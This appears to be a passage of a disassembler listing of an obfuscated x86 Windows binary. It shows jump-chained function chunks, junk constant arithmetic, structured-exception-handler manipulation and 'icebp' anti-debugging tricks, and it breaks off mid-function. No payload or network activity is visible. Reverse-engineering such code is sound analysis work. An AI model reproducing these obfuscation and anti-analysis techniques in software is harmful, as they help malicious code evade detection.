; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43D905:				; CODE XREF: _802izwe5:loc_439EA9j
		push	ecx
		jmp	loc_439B22
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43D90D:				; CODE XREF: _802izwe5:loc_43CAD9j
		push	4385F9h
		jmp	near ptr dword_43A008+19h

; =============== S U B	R O U T	I N E =======================================



sub_43D917	proc near		; CODE XREF: sub_43BFFF:loc_438268p

; FUNCTION CHUNK AT 0043E9B0 SIZE 00000005 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43E9B0
sub_43D917	endp

; ---------------------------------------------------------------------------
		dd 0C87F58Bh, 3C875924h, 9E824h, 210000h, 0FFC6F5E9h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43D93F	proc far		; CODE XREF: _802izwe5:0043C1D5j
		push	ecx
		mov	ecx, ebp
		jmp	loc_43C74D
sub_43D93F	endp

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43D949:				; CODE XREF: _802izwe5:loc_43F8ABj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		jmp	loc_43F051
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43D963:				; CODE XREF: _802izwe5:0043F46Fj
		jmp	loc_43B431
; ---------------------------------------------------------------------------
		dd 0F113E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43D970:				; CODE XREF: _802izwe5:0043CACEj
		jmp	loc_43EE77
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43D976:				; CODE XREF: sub_43F3B2-9B1j
		xor	eax, 1CD75B05h
		and	eax, 0E13B776Dh
		cmp	eax, 220AF71Fh
		jmp	loc_43F9B4
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------
		align 2
word_43D98E	dw 8Bh			; DATA XREF: sub_439ED1:loc_43F5D6o
		dd 0FFE143E8h, 810000FFh, 4C1h,	81018900h, 4C1h, 81018900h
		dd 4C1h, 0E9018900h, 0FFFFFD04h, 87C38B50h
		db 4, 24h
word_43D9BA	dw 68AAh		; DATA XREF: sub_439ED1+44CEo
		dd 0E08D656Ch, 0FFE25CE9h, 870000FFh, 0F7BF2434h, 0E90043ABh
		dd 0FFFFAB6Dh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D9D7:				; CODE XREF: sub_439ED1:loc_43A7C5j
		xchg	edi, [esp+0]
		push	offset loc_43A7F7
		jmp	locret_43A7EB
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAE5


loc_43D9E6:				; CODE XREF: sub_43CAE5:loc_43BF37j
		rep icebp
		jmp	loc_43B837
; END OF FUNCTION CHUNK	FOR sub_43CAE5
; ---------------------------------------------------------------------------
		align 2
		rol	edi, 11h
		mov	ecx, edi
		shl	ebx, 13h
		push	esi
		push	5DD18BA0h
		pop	esi
		jmp	loc_43EC8F
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43DA03	proc near		; CODE XREF: sub_43BE3C:loc_43D351p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004376E1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043782F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00437DC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00438D18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004394C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004395EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B22F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BA15 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043BBC8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043BF78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BF9A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C016 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043E682 SIZE 0000000F BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		db	66h
		icebp
		test	ebp, ebx
		jmp	loc_43BBC8
sub_43DA03	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DA18:				; CODE XREF: sub_439ED1:loc_43808Cj
					; sub_439ED1-1CC8j
		call	sub_439E45
		jmp	loc_43D2B6
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43DA22:				; CODE XREF: _802izwe5:00438A02j
		xor	ebx, 386C4034h
		add	ebx, ebp
		add	ebx, 0C41ABFD4h
		push	ebp
		add	ebp, [eax-37h]
		leave
		inc	ebx
		add	cl, ch
		db	36h
		sar	bh, cl


loc_43DA3B:				; CODE XREF: _802izwe5:0043DA41j
		inc	dword ptr [edi-7CA7DBFCh]
		jge	short loc_43DA3B
		add	[edi], cl
		lea	esi, [edx]
		fdivp	st(7), st
		inc	esi
		inc	ebp
		loopne	loc_43DA7B
		push	offset dword_43DDD0
		jmp	locret_43DDCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DA58:				; CODE XREF: sub_439ED1:loc_43AEFAj
					; _802izwe5:0043DBFEj
		sub	eax, 0BFACF04Dh
		xor	eax, 0A6DEED8Ch
		add	eax, 0CB2296DCh
		cmp	eax, 2AC05012h
		jmp	loc_43F0EF
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0E9h, 0D6h
; ---------------------------------------------------------------------------


loc_43DA7B:				; CODE XREF: _802izwe5:0043DA4Cj
		icebp
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DA7F:				; CODE XREF: sub_439ED1+5Bj
		push	32785973h
		pop	ebx
		and	ebx, 9F95CDD0h
		sub	ebx, 0BEBA25EEh
		test	ebx, 20h
		jmp	loc_4396FF
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0EBC8CF81h, 0C7812417h, 590BF872h, 0E9243C87h, 0FFFFF702h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F734


loc_43DAB2:				; CODE XREF: sub_43F734:loc_438F65j
		jl	near ptr dword_43729C+1


loc_43DAB8:				; CODE XREF: sub_43971E+1j
		jmp	loc_43D624
; END OF FUNCTION CHUNK	FOR sub_43F734
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFE60E84h, 97D1E9FFh, 0C100FFFFh, 85E91CC8h, 0FFFFEBh
		dd 10C18100h, 8B000000h, 1301C709h, 33000100h, 4C181C0h
		dd 68000000h, 439350h, 7B2E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DAF5:				; CODE XREF: sub_439ED1+612j
		mov	byte ptr [ecx],	8Dh
		pop	ecx
		xor	edx, 4D263AA6h
		jnz	near ptr dword_4399B8+2
		add	cl, ch
		jnz	short loc_43DB12
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0ED819900h
		db 36h,	2Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DB12:				; CODE XREF: sub_439ED1+3C36j
		cmpsd
		mov	eax, ds:9CE9C31Bh
		mov	esi, 0FFFFh
		mov	byte ptr [edi],	87h
		pop	edi
		xchg	ebx, [esp+4+var_4]
		mov	ecx, ebx
		jmp	loc_43A678
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43DB2C	proc near		; CODE XREF: sub_439ED1+436Ep

; FUNCTION CHUNK AT 0043803D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043813B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00439B6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C4E5 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	8854143Ah
		pop	edi
		and	edi, 9CF5E047h
		jmp	loc_43803D
sub_43DB2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43DB41:				; CODE XREF: _802izwe5:0043B59Aj
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DB45:				; CODE XREF: sub_439ED1-1510j
		jmp	loc_43D018
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_43DB4A	proc near		; CODE XREF: sub_439ED1:loc_43A1EBp
		push	dword ptr fs:0
sub_43DB4A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DB50:				; CODE XREF: sub_439ED1:loc_43850Fj
		mov	fs:0, esp
		jmp	loc_43845F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DB5D:				; CODE XREF: sub_439ED1:loc_43C4F4j
		pushf
		push	edx
		call	sub_43C155
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438989


loc_43DB65:				; CODE XREF: sub_438989:loc_43E0C7j
		xor	eax, 7595981Bh
		add	ecx, eax
		pop	eax
		add	[ecx], al
		push	offset word_43F576
		jmp	loc_43EA47
; END OF FUNCTION CHUNK	FOR sub_438989
; ---------------------------------------------------------------------------
		align 4


loc_43DB7C:				; DATA XREF: _802izwe5:0043F1DBo
		mov	dword ptr [ecx], 439B97h
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43DE51
; ---------------------------------------------------------------------------
		align 2
word_43DB9A	dw 0CCF0h		; CODE XREF: sub_43D917:loc_43E9B0j
		dd 0FFD821E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43DBA2:				; DATA XREF: sub_43EB57+6o
		push	esi
		push	63445B98h
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		jmp	loc_43EF4C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DBB4:				; CODE XREF: sub_439ED1+141Dj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	near ptr dword_43729C+57h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
dword_43DBCC	dd 84106856h, 815E78EDh, 0B2718E6h, 0C5FE81F0h,	0E95503A7h
					; DATA XREF: _802izwe5:00437E85o
		dd 0FFFFD77Fh

; =============== S U B	R O U T	I N E =======================================



sub_43DBE4	proc far		; CODE XREF: _802izwe5:0043B4F7j
		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, 0F9F27E55h
		push	43887Eh
		jmp	locret_43A780
sub_43DBE4	endp

; ---------------------------------------------------------------------------


loc_43DBF8:				; CODE XREF: _802izwe5:0043AF1Aj
		adc	edi, 4463A604h
		jmp	loc_43DA58
; ---------------------------------------------------------------------------
		align 4
		dd 0FF07C600h, 0FEC0815Fh, 8BD8999Ah, 0CE98E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43DC16:				; CODE XREF: sub_43F18B-2B92j
		jp	loc_43EBD2
		jge	loc_43AEC7


loc_43DC22:				; CODE XREF: sub_43B32C:loc_4383F4j
		push	edi
		mov	edi, offset loc_43AE18
		jmp	loc_437FB9
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 2


loc_43DC2E:				; CODE XREF: _802izwe5:00438621j
		pop	edx
		mov	dword ptr [ecx], 437A2Bh
		xor	eax, eax
		pop	ecx
		jmp	locret_43D095
; ---------------------------------------------------------------------------
		db 33h,	0C0h, 81h
		dd 4C1h, 81018900h, 4C1h, 81018900h, 4C1h, 81018900h, 4C1h
		dd 0E54DE900h
		db 2 dup(0FFh),	0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_43DC63:				; CODE XREF: sub_43E3D6+85Ej
		jmp	loc_43F389
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		dd 6B82F281h, 9D68564Ch, 0E90043DDh, 0FFFF9F04h, 0CA130000h
		dd 0FFE578E9h, 0B95100FFh, 43BFD1h, 0FFC647E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43DC8D:				; CODE XREF: _802izwe5:004391A9j
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DC91:				; CODE XREF: sub_439ED1+2378j
		jmp	loc_43CB3D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43DC98	proc near		; CODE XREF: _802izwe5:loc_43E553p
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr byte_43B97D
sub_43DC98	endp

; ---------------------------------------------------------------------------
		align 2
		adc	ebp, edx
		jmp	loc_43A1EA
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_43DCB3:				; CODE XREF: sub_43BFFF+10j
		sub	edx, 4AE42830h
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		mov	eax, (offset loc_43AF4F+3)
		jmp	loc_438268
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; ---------------------------------------------------------------------------
		align 2
		dw 9C59h
		dd 5F896268h, 0C0C15897h, 3C0810Fh, 0E91AF2A4h,	0FFFFAF02h
		dd 2EE88100h, 0E93D5C6Ch, 0FFFFB6F6h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43DCED:				; CODE XREF: sub_43F688:loc_43CBA7j
		inc	dword ptr [ebp-10h]


loc_43DCF0:				; CODE XREF: _802izwe5:0043B038j
					; sub_439ED1+4150j
		call	sub_43CC54


loc_43DCF5:				; CODE XREF: _802izwe5:004381FDj
		add	cl, ch
		xchg	esp, [ecx+0FFFFh]
		test	edi, eax
		jmp	loc_437F0F
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DD06:				; CODE XREF: sub_439ED1:loc_4378DBj
		ja	loc_43A6E4
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_43DD0C	proc near		; CODE XREF: sub_439ED1:loc_43AC14p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, ds:dword_43DFC4
		jmp	loc_43D184
sub_43DD0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43DD1C	proc near		; CODE XREF: _802izwe5:0043EDDAp
		xchg	ecx, [esp+0]
		shr	ecx, 13h
		jmp	near ptr dword_438150+7Eh
sub_43DD1C	endp

; ---------------------------------------------------------------------------
		xor	ebx, 77FED4BFh
		jmp	loc_43F086
; ---------------------------------------------------------------------------


loc_43DD32:				; CODE XREF: _802izwe5:loc_43D518j
		jge	near ptr byte_43B15C
		jmp	loc_43EA7E
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd offset word_43AAEA+1
		dd 0FFBA8EE9h, 810000FFh, 4C1h,	81018900h, 4C1h, 81018900h
		dd 4C1h, 81018900h, 4C1h, 0D434E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43DD70:				; CODE XREF: _802izwe5:0043BCA4j
		and	ecx, 3AC6B58Ah
		xor	eax, ebp
		jmp	loc_43A134
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43844A


loc_43DD7D:				; CODE XREF: sub_43844A:loc_437410j
					; sub_43844A+Aj
		call	sub_4397E9
; END OF FUNCTION CHUNK	FOR sub_43844A
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DD84:				; CODE XREF: sub_439ED1+8BFj
		jmp	loc_43772E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43DD8B:				; CODE XREF: _802izwe5:loc_439866j
		mov	esi, ds:off_43DFAC
		push	offset dword_43F54C
		jmp	loc_438F53
; ---------------------------------------------------------------------------
		align 4
		dd 5AC20300h, 59E99C50h, 0FFFFC1h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		dd 0EB368D0Fh, 0FFFFh, 0FFB377E9h, 26E95AFFh
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_43DDBC+1 ; CODE XREF: _802izwe5:loc_43DDBCj
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D600


loc_43DDBF:				; CODE XREF: sub_43D600-4EA4j
		mov	[edx], eax
		pop	edx
		call	sub_43BC7E
		jmp	loc_43D580
; END OF FUNCTION CHUNK	FOR sub_43D600
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_43DDCD:				; CODE XREF: _802izwe5:0043DA53j
		retn
; ---------------------------------------------------------------------------
		align 10h
dword_43DDD0	dd 0E8F045FFh, 0FFFFDA9Dh, 0FFA943E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_43DDDD:				; CODE XREF: _802izwe5:00439B40j
		jmp	loc_43BC43
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43DDE3	proc far		; CODE XREF: _802izwe5:0043F808p
		xchg	edi, [esp+0]
		xchg	ebx, [esp+0]
		mov	edi, ebx
		pop	ebx
		add	esp, 0FFFFFFE0h
		jmp	loc_43A3F0
sub_43DDE3	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43DDF6:				; CODE XREF: _802izwe5:00439362j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43AE96
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43E22A


loc_43DE14:				; CODE XREF: sub_43E22A-4E11j
					; DATA XREF: _802izwe5:0043E1FEo
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [esi],	9Ch
		pop	esi
		xor	eax, 4B080586h
		call	near ptr sub_439ED1
		add	cl, ch
		sal	ah, cl
; END OF FUNCTION CHUNK	FOR sub_43E22A
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
		dd 0ED800F00h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DE3B:				; CODE XREF: sub_439ED1:loc_43A9F0j
		push	offset byte_43E4AF
		jmp	loc_439C3D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		dw 0D381h
		dd 0E108E2E4h, 0FFC471E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43DE51:				; CODE XREF: _802izwe5:0043DB94j
		db	3Eh
		icebp
		jmp	loc_43ADDC
; ---------------------------------------------------------------------------
		db 0, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DE5A:				; CODE XREF: sub_439ED1+3FC5j
		jmp	loc_43B10C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_43E972
; ---------------------------------------------------------------------------
		jmp	locret_439170
; ---------------------------------------------------------------------------
		align 4


loc_43DE6C:				; CODE XREF: _802izwe5:00437E44j
		jmp	loc_43C7B9

; =============== S U B	R O U T	I N E =======================================



sub_43DE71	proc near		; CODE XREF: _802izwe5:loc_43C4B3p
		xchg	ebx, [esp+0]
		xchg	edi, [esp+0]
		mov	ebx, edi
		pop	edi
		add	esi, 9E20AC32h
		jmp	loc_43C4D8
sub_43DE71	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DE86:				; CODE XREF: sub_439ED1+41C2j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43DE5A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0F2840F00h, 0FFFF97h, 0FFC6B0E9h, 570000FFh,	0FF97E2E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DEB1:				; CODE XREF: sub_439ED1:loc_43EDF2j
		add	[ecx], al
		push	esi
		push	4838B9AEh
		pop	esi
		jmp	loc_439874
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43DEC2:				; CODE XREF: sub_43C65A+160j
		jmp	loc_438E63
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DEC9:				; CODE XREF: sub_439ED1+1951j
		jmp	loc_43AEFA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DECF:				; CODE XREF: sub_439ED1+EA4j
		jmp	loc_43B0FD
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43DED4:				; CODE XREF: _802izwe5:loc_43E565j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	eax
		jmp	loc_4398DE
; ---------------------------------------------------------------------------
		dd 79C68100h, 8114A971h, 7286E9F6h, 99C68174h, 0E83D8896h
		dd 0FFFF9CD0h
; ---------------------------------------------------------------------------


loc_43DF04:				; CODE XREF: _802izwe5:0043C476j
		jmp	loc_4389D6
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43DF0B:				; CODE XREF: _802izwe5:0043CE58j
		jz	near ptr dword_437B54+58h
		add	edx, 4084664Dh
		jmp	near ptr dword_43909C+15h
; ---------------------------------------------------------------------------
		dd 0CC8B0000h, 0A69C6850h, 8158757Ch, 9DD605F0h, 0C9E08144h
		dd 0E9C911D4h, 0FFFFF009h
		db 0
; ---------------------------------------------------------------------------


loc_43DF39:				; CODE XREF: _802izwe5:00439E76j
		call	near ptr sub_43D573
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_43DF40:				; CODE XREF: _802izwe5:0043E5FCj
		jmp	loc_43F792
; ---------------------------------------------------------------------------
		align 2


loc_43DF46:				; CODE XREF: _802izwe5:00439991j
		jmp	locret_43C859
; ---------------------------------------------------------------------------

locret_43DF4B:				; CODE XREF: _802izwe5:loc_43ED49j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C99E


loc_43DF4D:				; CODE XREF: sub_43C99E+25j
		jmp	near ptr dword_437B04+0Bh
; END OF FUNCTION CHUNK	FOR sub_43C99E
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DF54:				; CODE XREF: sub_439ED1+16Fj
		jmp	near ptr byte_438391+2
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43DF59:				; DATA XREF: sub_43C604:loc_43E6EFo
		call	ds:dword_427104	; MessageBoxA
		mov	esp, ebp
		xchg	edi, [esp]
		mov	ebp, edi
		pop	edi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43DF68	proc near		; CODE XREF: _802izwe5:00438E0Ep
		push	437A7Fh
		jmp	nullsub_42
sub_43DF68	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esi, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_43DF77	proc near		; CODE XREF: sub_439ED1+1F0p
		xchg	eax, [esp+0]
		pop	eax
		push	edi
		mov	edi, 4398C5h
		jmp	near ptr dword_4397AC+14h
sub_43DF77	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43DF87:				; CODE XREF: _802izwe5:loc_43C4C0j
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		jmp	near ptr dword_437814+1
; ---------------------------------------------------------------------------
		dd 3B9D0000h, 0D703E9D6h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43DFA7:				; CODE XREF: _802izwe5:00439645j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
off_43DFAC	dd offset sub_43FB9C	; DATA XREF: _802izwe5:loc_43DD8Br
; ---------------------------------------------------------------------------


loc_43DFB0:				; CODE XREF: _802izwe5:00439285j
		jmp	loc_43ABCA
; ---------------------------------------------------------------------------
		align 4
		dd 116h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6E


loc_43DFBE:				; CODE XREF: sub_438A6E+23A2j
		jmp	loc_43E422
; END OF FUNCTION CHUNK	FOR sub_438A6E
; ---------------------------------------------------------------------------
		align 4
dword_43DFC4	dd 47BC58D2h						; sub_43DD0C+4r
; ---------------------------------------------------------------------------
		rol	ebp, 1
		jmp	loc_43F163
; ---------------------------------------------------------------------------
		align 10h
		dd 24148700h, 0C0339D5Ah, 0FF9479E9h, 0C13B00FFh, 0FFF81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43DFE5:				; CODE XREF: _802izwe5:loc_439EA4j
		mov	byte ptr [eax],	8Dh
		xchg	esi, [esp]
		mov	eax, esi
		pop	esi
		call	sub_43F3B2
; ---------------------------------------------------------------------------
		db 0
		dd 0F232E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43DFFA:				; CODE XREF: sub_439ED1+445Ej
		add	esi, 6B32DBB1h
		xor	esi, 5BE9977h
		js	loc_437722
		jmp	loc_43A740
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		dw 0D53Bh
		dd 0FFC4EBE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E01B:				; CODE XREF: _802izwe5:loc_439BD6j
					; sub_439ED1+757j
		jnz	loc_43B5BF
		jmp	loc_43DCF0
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43E027:				; CODE XREF: _802izwe5:0043D22Cj
		add	edx, 30h
		mov	eax, [ebp-10h]
		mov	[ebp+eax-20h], dl
		push	0E420B08Eh
		pop	eax
		jmp	loc_43FA0F
; ---------------------------------------------------------------------------
		ror	ebx, 17h
		jmp	sub_43E4D7
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E045:				; CODE XREF: sub_439ED1+A20j
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_437D59
		xor	eax, eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E05F:				; CODE XREF: sub_439ED1+4644j
		jmp	loc_43B216
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43E066	proc far		; CODE XREF: sub_43D40Dp

; FUNCTION CHUNK AT 0043EDE1 SIZE 00000005 BYTES

		push	dword ptr fs:0
		jmp	loc_43EDE1
sub_43E066	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E071:				; CODE XREF: sub_439ED1+807j
